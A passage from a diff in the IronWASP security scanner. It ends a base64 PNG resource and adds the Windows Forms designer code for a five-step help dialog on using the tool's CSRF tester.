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 + + + \ No newline at end of file diff --git a/Iron/Docs/DocForCsrfTester.Designer.cs b/Iron/Docs/DocForCsrfTester.Designer.cs new file mode 100644 index 0000000..5f147be --- /dev/null +++ b/Iron/Docs/DocForCsrfTester.Designer.cs @@ -0,0 +1,329 @@ +namespace IronWASP.Docs +{ + partial class DocForCsrfTester + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DocForCsrfTester)); + this.label1 = new System.Windows.Forms.Label(); + this.tabControl1 = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.label2 = new System.Windows.Forms.Label(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.pictureBox2 = new System.Windows.Forms.PictureBox(); + this.label3 = new System.Windows.Forms.Label(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.pictureBox3 = new System.Windows.Forms.PictureBox(); + this.label4 = new System.Windows.Forms.Label(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.pictureBox5 = new System.Windows.Forms.PictureBox(); + this.label7 = new System.Windows.Forms.Label(); + this.pictureBox4 = new System.Windows.Forms.PictureBox(); + this.label5 = new System.Windows.Forms.Label(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.pictureBox7 = new System.Windows.Forms.PictureBox(); + this.pictureBox6 = new System.Windows.Forms.PictureBox(); + this.label6 = new System.Windows.Forms.Label(); + this.tabControl1.SuspendLayout(); + this.tabPage1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.tabPage2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit(); + this.tabPage3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).BeginInit(); + this.tabPage4.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox5)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).BeginInit(); + this.tabPage5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox7)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox6)).BeginInit(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(12, 4); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(860, 169); + this.label1.TabIndex = 5; + this.label1.Text = resources.GetString("label1.Text"); + // + // tabControl1 + // + this.tabControl1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tabControl1.Controls.Add(this.tabPage1); + this.tabControl1.Controls.Add(this.tabPage2); + this.tabControl1.Controls.Add(this.tabPage3); + this.tabControl1.Controls.Add(this.tabPage4); + this.tabControl1.Controls.Add(this.tabPage5); + this.tabControl1.Location = new System.Drawing.Point(1, 178); + this.tabControl1.Margin = new System.Windows.Forms.Padding(0); + this.tabControl1.Name = "tabControl1"; + this.tabControl1.Padding = new System.Drawing.Point(0, 0); + this.tabControl1.SelectedIndex = 0; + this.tabControl1.Size = new System.Drawing.Size(882, 383); + this.tabControl1.TabIndex = 6; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.pictureBox1); + this.tabPage1.Controls.Add(this.label2); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(874, 357); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = " STEP 1 "; + this.tabPage1.UseVisualStyleBackColor = true; + // + // pictureBox1 + // + this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); + this.pictureBox1.Location = new System.Drawing.Point(86, 91); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(638, 232); + this.pictureBox1.TabIndex = 6; + this.pictureBox1.TabStop = false; + // + // label2 + // + this.label2.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label2.Location = new System.Drawing.Point(8, 9); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(860, 62); + this.label2.TabIndex = 5; + this.label2.Text = resources.GetString("label2.Text"); + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.pictureBox2); + this.tabPage2.Controls.Add(this.label3); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(874, 357); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = " STEP 2 "; + this.tabPage2.UseVisualStyleBackColor = true; + // + // pictureBox2 + // + this.pictureBox2.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox2.Image"))); + this.pictureBox2.Location = new System.Drawing.Point(5, 55); + this.pictureBox2.Name = "pictureBox2"; + this.pictureBox2.Size = new System.Drawing.Size(868, 85); + this.pictureBox2.TabIndex = 7; + this.pictureBox2.TabStop = false; + // + // label3 + // + this.label3.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label3.Location = new System.Drawing.Point(7, 9); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(860, 43); + this.label3.TabIndex = 6; + this.label3.Text = resources.GetString("label3.Text"); + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.pictureBox3); + this.tabPage3.Controls.Add(this.label4); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(874, 357); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " STEP 3 "; + this.tabPage3.UseVisualStyleBackColor = true; + // + // pictureBox3 + // + this.pictureBox3.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox3.Image"))); + this.pictureBox3.Location = new System.Drawing.Point(59, 61); + this.pictureBox3.Name = "pictureBox3"; + this.pictureBox3.Size = new System.Drawing.Size(718, 65); + this.pictureBox3.TabIndex = 8; + this.pictureBox3.TabStop = false; + // + // label4 + // + this.label4.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label4.Location = new System.Drawing.Point(6, 9); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(860, 49); + this.label4.TabIndex = 7; + this.label4.Text = "If you are going to test sections of that site that are only accessible after aut" + + "hentication then it helps to record a login and select that here for best covera" + + "ge."; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.pictureBox5); + this.tabPage4.Controls.Add(this.label7); + this.tabPage4.Controls.Add(this.pictureBox4); + this.tabPage4.Controls.Add(this.label5); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(874, 357); + this.tabPage4.TabIndex = 3; + this.tabPage4.Text = " STEP 4 "; + this.tabPage4.UseVisualStyleBackColor = true; + // + // pictureBox5 + // + this.pictureBox5.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox5.Image"))); + this.pictureBox5.Location = new System.Drawing.Point(21, 144); + this.pictureBox5.Name = "pictureBox5"; + this.pictureBox5.Size = new System.Drawing.Size(841, 210); + this.pictureBox5.TabIndex = 11; + this.pictureBox5.TabStop = false; + // + // label7 + // + this.label7.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label7.Location = new System.Drawing.Point(7, 105); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(860, 38); + this.label7.TabIndex = 10; + this.label7.Text = resources.GetString("label7.Text"); + // + // pictureBox4 + // + this.pictureBox4.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox4.Image"))); + this.pictureBox4.Location = new System.Drawing.Point(39, 32); + this.pictureBox4.Name = "pictureBox4"; + this.pictureBox4.Size = new System.Drawing.Size(804, 63); + this.pictureBox4.TabIndex = 9; + this.pictureBox4.TabStop = false; + // + // label5 + // + this.label5.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label5.Location = new System.Drawing.Point(7, 6); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(860, 23); + this.label5.TabIndex = 8; + this.label5.Text = "After providing all input click the \'Find Suitable Candidates for Testing\' button" + + ".\r\n"; + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.pictureBox7); + this.tabPage5.Controls.Add(this.pictureBox6); + this.tabPage5.Controls.Add(this.label6); + this.tabPage5.Location = new System.Drawing.Point(4, 22); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Size = new System.Drawing.Size(874, 357); + this.tabPage5.TabIndex = 4; + this.tabPage5.Text = " STEP 5 "; + this.tabPage5.UseVisualStyleBackColor = true; + // + // pictureBox7 + // + this.pictureBox7.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox7.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox7.Image"))); + this.pictureBox7.Location = new System.Drawing.Point(29, 207); + this.pictureBox7.Name = "pictureBox7"; + this.pictureBox7.Size = new System.Drawing.Size(822, 150); + this.pictureBox7.TabIndex = 11; + this.pictureBox7.TabStop = false; + // + // pictureBox6 + // + this.pictureBox6.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pictureBox6.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox6.Image"))); + this.pictureBox6.Location = new System.Drawing.Point(29, 117); + this.pictureBox6.Name = "pictureBox6"; + this.pictureBox6.Size = new System.Drawing.Size(822, 84); + this.pictureBox6.TabIndex = 10; + this.pictureBox6.TabStop = false; + // + // label6 + // + this.label6.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label6.Location = new System.Drawing.Point(6, 5); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(860, 109); + this.label6.TabIndex = 9; + this.label6.Text = resources.GetString("label6.Text"); + // + // DocForCsrfTester + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(884, 561); + this.Controls.Add(this.tabControl1); + this.Controls.Add(this.label1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(900, 600); + this.MinimumSize = new System.Drawing.Size(900, 600); + this.Name = "DocForCsrfTester"; + this.Text = "How to test for CSRF"; + this.tabControl1.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.tabPage2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).EndInit(); + this.tabPage3.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox3)).EndInit(); + this.tabPage4.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox5)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox4)).EndInit(); + this.tabPage5.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox7)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox6)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TabControl tabControl1; + private System.Windows.Forms.TabPage tabPage1; + private 